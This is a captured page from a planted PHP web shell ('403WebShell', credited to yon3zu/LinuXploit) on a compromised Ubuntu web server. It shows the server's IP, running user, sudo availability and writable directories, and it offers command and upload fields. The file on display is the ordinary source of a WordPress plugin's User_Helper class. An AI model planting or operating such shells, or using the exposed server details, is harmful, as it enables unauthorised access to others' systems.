Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.50
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/ultimate-dashboard/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/ultimate-dashboard/helpers/class-user-helper.php
<?php
/**
 * User helper.
 *
 * @package Ultimate_Dashboard
 */

namespace Udb\Helpers;

defined( 'ABSPATH' ) || die( "Can't access directly" );

/**
 * Class to setup user helper.
 */
class User_Helper {

	/**
	 * Simulate user with specified role.
	 *
	 * Use this wisely.
	 * If you're sure this function will only run on specific condition,
	 * then you can omit the 2nd & 3rd parameter (keep them `false`).
	 *
	 * @param string $role_key The role key.
	 * @param bool   $change_user_id Whether or not to change the user ID.
	 * @param bool   $change_username Whether or not to change the user_login.
	 */
	public function simulate_role( $role_key, $change_user_id = false, $change_username = false ) {
		global $current_user;

		$role = get_role( $role_key );

		if ( $change_user_id ) {
			$current_user->ID = PHP_INT_MAX;
		}

		if ( $change_username ) {
			$current_user->wp_user_login = $current_user->user_login;
			$current_user->user_login    = 'udb_username_' . wp_rand( 3, 5 );
		}

		$current_user->allcaps = $role->capabilities;
		$current_user->caps    = $role->capabilities;
		$current_user->roles   = array( $role_key );
	}

	/**
	 * Change the username of current user.
	 *
	 * @param string $username The wanted username.
	 */
	public function change_current_username( $username = '' ) {

		global $current_user;

		$current_user->wp_user_login = $current_user->user_login;
		$current_user->user_login    = $username ? $username : 'udb_username_' . wp_rand( 3, 5 );

	}

	/**
	 * Restore the username of current user.
	 */
	public function restore_current_username() {

		global $current_user;

		if ( ! property_exists( $current_user, 'wp_user_login' ) || ! $current_user->wp_user_login ) {
			return;
		}

		$current_user->user_login = $current_user->wp_user_login;

		unset( $current_user->wp_user_login );

	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit